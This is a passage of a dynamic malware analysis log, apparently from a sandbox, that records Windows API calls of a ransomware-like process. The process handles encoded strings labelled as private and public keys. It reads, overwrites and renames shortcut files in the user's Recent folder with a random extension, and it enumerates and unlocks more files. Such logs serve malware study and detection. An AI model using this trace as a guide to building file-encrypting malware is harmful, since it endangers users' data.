lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.116] GetCurrentThreadId () returned 0xa30 [0083.116] GetCurrentThreadId () returned 0xa30 [0083.116] GetCurrentThreadId () returned 0xa30 [0083.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.117] GetCurrentThreadId () returned 0xa30 [0083.117] GetCurrentThreadId () returned 0xa30 [0083.117] GetCurrentThreadId () returned 0xa30 [0083.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.117] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.117] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.118] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9f6 [0083.118] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.118] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x9f6, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x9f6, lpOverlapped=0x0) returned 1 [0083.119] CloseHandle (hObject=0x124) returned 1 [0083.119] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.121] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x9f6, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x9f6, lpOverlapped=0x0) returned 1 [0083.178] CloseHandle (hObject=0x124) returned 1 [0083.404] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk.zv7un")) returned 1 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] GetCurrentThreadId () returned 0xa30 [0083.405] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e6ee40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1e6ee40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9c2, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="RV4UFRM8.flv.lnk", cAlternateFileName="RV4UFR~1.LNK")) returned 1 [0083.405] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.405] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e6ee40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1e6ee40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9c2)) returned 1 [0083.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk")) returned 0x20 [0083.406] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk", dwFileAttributes=0x80) returned 1 [0083.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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